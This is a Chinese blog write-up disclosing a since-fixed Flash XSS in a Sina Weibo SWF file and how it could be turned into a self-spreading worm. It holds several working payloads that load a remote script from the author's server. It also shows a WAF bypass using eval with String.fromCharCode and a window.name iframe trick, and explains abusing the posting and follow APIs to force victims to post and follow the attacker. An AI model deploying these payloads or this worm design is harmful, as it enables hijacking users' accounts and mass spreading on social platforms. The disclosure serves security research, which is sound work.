从新浪微博一处Flash XSS到XSS Worm

这是我之前提交到新浪应急响应中心的漏洞,因为我看到新浪已经修复了,所以发出来。

最近一直在研究一些flash,希望能发现点什么。

偶然发现这样一个swf:http://vgirl.weibo.com/swf/BlogUp.swf (已修复),一般上传swf、播放器这种地方容易出现xss,这个BlogUp.swf就是上传的flash。

反编译看看,其中有个函数:

private function init(Number:flash.events::Event = null)
{
    // debugfile: F:flashblogUp_Vgirlsrc;;xblogUploadImage.as
    stage.scaleMode = StageScaleMode.NO_SCALE;
    this.bIsUploading = false;
    this.tList = new Array();
    removeEventListener(Event.ADDED_TO_STAGE, this.init);
    var loc0:* = new Sprite();
    lineStyle();
    beginFill(0, 0);
    drawRect(0, 0, 1000, 1000);
    loc0.buttonMode = true;
    loc0.addEventListener(MouseEvent.CLICK, this.onClicked);
    this.addChild(loc0);
    var loc2:* = 0;
    loc0.y = 0;
    loc0.x = undefined;
    this.jsonselectfiles = stage.loaderInfo.parameters["onselectfiles"] + "";
    this.jsonsinglecomplete = stage.loaderInfo.parameters["onsinglecomplete"] + "";
    this.jsonallcomplete = stage.loaderInfo.parameters["onallcomplete"] + "";
    this.jsonerror = stage.loaderInfo.parameters["onerror"] + "";
    this.onUploadStart = stage.loaderInfo.parameters["onUploadStart"] + "";
    var loc1:* = stage.loaderInfo.parameters["onflashready"] + "";
    ExternalInterface.addCallback("setup", this.setup);
    ExternalInterface.addCallback("cancel", this.closeUploader);
    ExternalInterface.addCallback("setMaxSize", this.setMaxSize);
    ExternalInterface.call(loc1);
    return;

}

ExternalInterface.call(loc1);这句话很明显存在一个XSS,loc1是之前获取的GET参数stage.loaderInfo.parameters["onflashready"]

我们试试:

新浪vgirl flash XSS导致微博蠕虫1766.png

弹了。其实前面几个参数也是存在XSS的,但这个xss最明显,我就不说前几个了。

如果ExternalInterface.call函数的第一个参数可控的话,我们最好把POC写成这样:http://vgirl.weibo.com/swf/BlogUp.swf?onflashready=(function(){alert(1)}) ,因为他和后面的参数组成了一个执行的代码:

(function(){alert(1)})(param1, param2, ...)

因为我们这里这个漏洞没参数,所以最终执行的javascript实际上是(function(){alert(1)})(),我们将alert(1)换成自己的payload就能干想干的事了。

然后我想提交,来到sina src看到个公告:

新浪vgirl flash XSS导致微博蠕虫2116.png

我擦嘞!XSS漏洞都降级了,原因只是因为cookie加了httponly?

我掐指一算,如果就这样交的话,顶多拿2个金币啊!!

挖了半天就换这点金币,不行,那么我们想想怎么让我的XSS发挥点作用吧,否则憋屈得很。来个蠕虫吧。

我关注到vgirl.weibo.com这个站首页是个评分的flash,大概是给MM们评分并分享的。

新浪vgirl flash XSS导致微博蠕虫2282.png

有些妹纸还是挺不错的,我喜欢。来分析一下这个flash吧:

新浪vgirl flash XSS导致微博蠕虫2314.png

这里有5个API很闪眼睛。分析了一下,实际上第一个是获得妹纸列表的,第二个是给妹纸打分的,第三个是分享到微博的,第四个是获得具体妹纸信息的,第五个是关注这个妹纸的。

很明显,第三个和第五个是我想要的(为毛不是第一个和第四个?)。我可以利用这俩API和之前的XSS,来让浏览的用户发表任意微博并关注我,造成一个微博蠕虫。

那么继续分析一下API怎么使用(实际上比看flash代码更简单的方式是抓包,抓包大家都会我就不演示了):

private function atShe(arg0:*)
{
    var loc0:* = new URLVariables();
    loc0.text = arg0.content;
    loc0.uid = arg0.oid;
    loc0.img = arg0.picurl;
    var loc1:* = new URLRequest(this.atApi);
    loc1.method = URLRequestMethod.POST;
    loc1.data = new URLVariables();
    var loc2:* = new URLLoader();
    load(loc1);
    return;

}

这是发表微博的函数,实际上就是发送了一个POST数据包,text是要发表的内容,img是妹纸图片,uid是妹纸的用户ID。

实际上,text可以写任意文字,img可以是任意图片(属于新浪sinaimg.cn的图片,随便找个图片上传接口传一个即可),uid可以不用填写。

新浪vgirl flash XSS导致微博蠕虫3008.png

如上图,这样一个数据包即可发表一个微博:

新浪vgirl flash XSS导致微博蠕虫3032.png

好,有了这个接口,我们就可以来制作一个蠕虫了。

首先写一个payload,我用了parsec团队的兔子君写的一个javascript辅助工具love.js(https://github.com/quininer/hisoka/blob/master/doc/LoveJS.md && https://quininer.github.io/tests/love.js)来进行数据包的发送。

然后传到自己的服务器上:

http://mhz.pw/game/vgirl/poc.js 

首先要清楚这一点,新浪整体对CSRF的防御基本是靠Referer来进行的,所以不管在哪发微博,都会检查referer是否来自合法的域。所以我们这个脚本运行在其他地方是不管用的,但因为我们之前找到了一个flash xss,这个flash是处于新浪vgirl域下的,合法合理。

所以,我们现在的工作就是让这个flash加载我的js文件。

最早想到这样一个payload:

http://vgirl.weibo.com/swf/BlogUp.swf?onflashready=(function(){document.body.appendChild(document.createElement("script")).src="http://mhz.pw/game/vgirl/poc.js"}) 

不过运行你会发现,referer是这个的话微博是发送不成功的,我目测是被WAF拦截了还是怎样。

测试了一下,拦截的是appendChild,这个关键字。

我想那简单啊,把payload换成

eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,34,115,99,114,105,112,116,34,41,41,46,115,114,99,61,34,104,116,116,112,58,47,47,109,104,122,46,112,119,47,103,97,109,101,47,118,103,105,114,108,47,118,103,105,114,108,46,106,115,34))

就没关键字了。结果执行发现,URL太长了,flash加载不上。

再想想,如何把URL变短,还要没有关键字?当然是用window.name咯:

<iframe src="http://vgirl.weibo.com/swf/BlogUp.swf?onflashready=(function(){setTimeout(window.name,0)})" name="document.body.appendChild(document.createElement('script')).src='http://mhz.pw/game/vgirl/poc.js'" id="vg">

把EXP放在iframe的name里,然后实际的payload就是setTimeout(window.name,0),执行了window.name等于执行了我的EXP。

将代码美化一下,传到服务器上。

访问即可发布类似这样的微博:

新浪vgirl flash XSS导致微博蠕虫4551.png

如果换成吸引人的文字和图片,这样,我的粉丝看了以后,多半是会点进去看看。一旦访问这个链接,也会发表这样一个微博。

这样一传十十传百。

形成一个XSS蠕虫,危害很大。同样,我还可以发送一个关注我的数据包,在蠕动的同时,也能无限涨粉。

碍于法律的限制,我就不做测试了。关于新浪微博蠕虫,我曾经是有测试过的:http://wooyun.org/bugs/wooyun-2010-065761,在这里可以看到效果图,和厂商回复。

测试有风险,蠕动需谨慎啊……

相关推荐: 由python端口转发脚本看asyncore模块

    asyncore模块是封装过的处理socket事件的模块,在文档中搜索可以看到这样的说明: Basic infrastructure for asynchronous socket service clients…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论